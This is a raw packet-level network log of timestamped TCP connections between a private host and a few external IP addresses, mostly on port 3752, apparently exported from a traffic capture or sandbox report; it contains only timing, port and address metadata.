Oct 5, 2024 14:33:09.488091946 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.525768042 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.525871992 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.525922060 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.525944948 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.525958061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526010036 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526014090 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526047945 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526093006 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526101112 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526151896 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526185989 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526201963 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526217937 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526251078 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526271105 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526287079 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526340008 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526344061 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526391983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526426077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526443005 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526463985 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526496887 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526508093 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526530981 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526561022 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526571035 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526595116 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526633978 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526640892 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526813984 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526846886 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526861906 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526881933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.526932001 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.526978970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527013063 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527062893 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527062893 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.527100086 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527133942 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527148008 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.527167082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527216911 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.527482986 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527542114 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527575970 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527592897 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.527606964 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527640104 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527652979 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.527674913 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527708054 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527721882 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.527744055 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527780056 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.527796984 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.528012991 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528047085 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528067112 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.528080940 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528115034 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528129101 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.528150082 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528182983 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528197050 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.528217077 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528250933 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528265953 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.528285027 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.528326988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532144070 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532272100 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532301903 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532330990 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532352924 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532387972 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532402039 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532423019 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532458067 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532469988 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532561064 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532593966 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532613993 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532629967 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532664061 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532675982 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532700062 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532759905 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532831907 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532865047 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532897949 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532911062 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532932997 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.532974958 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.532974958 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:09.533036947 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.533287048 CEST	49730	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:09.538129091 CEST	3752	49730	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:12.589440107 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:12.589493990 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:12.589765072 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:12.600761890 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:12.600786924 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:13.298479080 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:13.298670053 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:13.311480999 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:13.311496973 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:13.311795950 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:13.364079952 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.021203995 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.067401886 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250526905 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250588894 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250611067 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250634909 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250663042 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250732899 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.250732899 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.250737906 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250767946 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.250798941 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.250798941 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.250868082 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.250889063 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.251019001 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.251033068 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.251116037 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.251197100 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.909820080 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.909820080 CEST	49731	443	192.168.2.4	172.202.163.200
Oct 5, 2024 14:33:14.909857035 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:14.909879923 CEST	443	49731	172.202.163.200	192.168.2.4
Oct 5, 2024 14:33:17.860646963 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:17.866193056 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:17.866444111 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:17.866444111 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:17.871848106 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:17.899341106 CEST	49723	80	192.168.2.4	2.16.100.168
Oct 5, 2024 14:33:17.904866934 CEST	80	49723	2.16.100.168	192.168.2.4
Oct 5, 2024 14:33:17.904928923 CEST	49723	80	192.168.2.4	2.16.100.168
Oct 5, 2024 14:33:18.505462885 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:18.505510092 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:18.505665064 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:18.513881922 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:18.518867970 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:18.711292028 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:18.711564064 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:18.717283964 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:18.906443119 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:18.908830881 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:18.914200068 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:18.917773962 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:18.923136950 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.259655952 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.262460947 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.267362118 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.267451048 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.272420883 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.547178984 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.547204018 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.547369957 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.642704010 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.642831087 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.642976999 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.643038034 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.647701025 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.647891998 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.647901058 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.647926092 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.647999048 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648030996 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648060083 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648112059 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648164034 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648191929 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648194075 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.648194075 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.648220062 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648236990 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.648253918 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.648253918 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.648293018 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.648307085 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.652731895 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.652772903 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.652812004 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.652903080 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.652903080 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653300047 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653403044 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653434038 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653491020 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653520107 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653548956 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653561115 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653562069 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653562069 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653577089 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653660059 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653660059 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653708935 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653708935 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.653780937 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.653829098 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.654078960 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.654079914 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:19.658492088 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.658917904 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.658961058 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.658989906 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659018040 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659080029 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659109116 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659136057 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659163952 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659189939 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659245968 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659275055 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659301996 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659328938 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659356117 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659413099 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659440994 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659492970 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659519911 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659548044 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659574986 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659601927 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.659631014 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:19.663513899 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.040515900 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.082834959 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.084851980 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.084995031 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.085084915 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.382329941 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.382405996 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.395342112 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.595213890 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595359087 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595417023 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595453978 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595480919 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595511913 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.595541954 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595607996 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.595607996 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.595607996 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.595706940 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595735073 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595788002 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595814943 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.595844030 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.600524902 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.600553989 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.600609064 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.600677967 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.600750923 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.600779057 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.601104975 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.601134062 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.601526022 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.605650902 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.898114920 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.942229986 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.949271917 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.949407101 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.949491024 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.949589014 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.954322100 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954370022 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954400063 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954404116 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:20.954483986 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954511881 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954544067 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954572916 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954600096 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954626083 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.954653025 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.959122896 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.959151030 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.959573984 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:20.959703922 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:21.145389080 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:21.192235947 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:22.145524025 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:22.150697947 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:22.150763988 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:22.155714989 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:22.472676039 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:22.472734928 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:22.472769976 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:22.472819090 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:22.472913980 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:22.472978115 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:22.473052025 CEST	49737	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:22.480079889 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:22.480122089 CEST	3752	49737	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:27.473907948 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:27.479501009 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:27.479609013 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:27.479717016 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:27.484570026 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.151633024 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.151686907 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.151758909 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:28.164458036 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:28.169435024 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.376712084 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.380419970 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:28.387181044 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.576433897 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.581753016 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:28.586626053 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.586707115 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:28.591523886 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.916816950 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.919135094 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:28.924053907 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:28.924113035 CEST	49738	3752	192.168.2.4	147.45.126.71
Oct 5, 2024 14:33:28.929018974 CEST	3752	49738	147.45.126.71	192.168.2.4
Oct 5, 2024 14:33:29.218862057 CEST	3752	49738	147.45.126.71	192.168.2.4
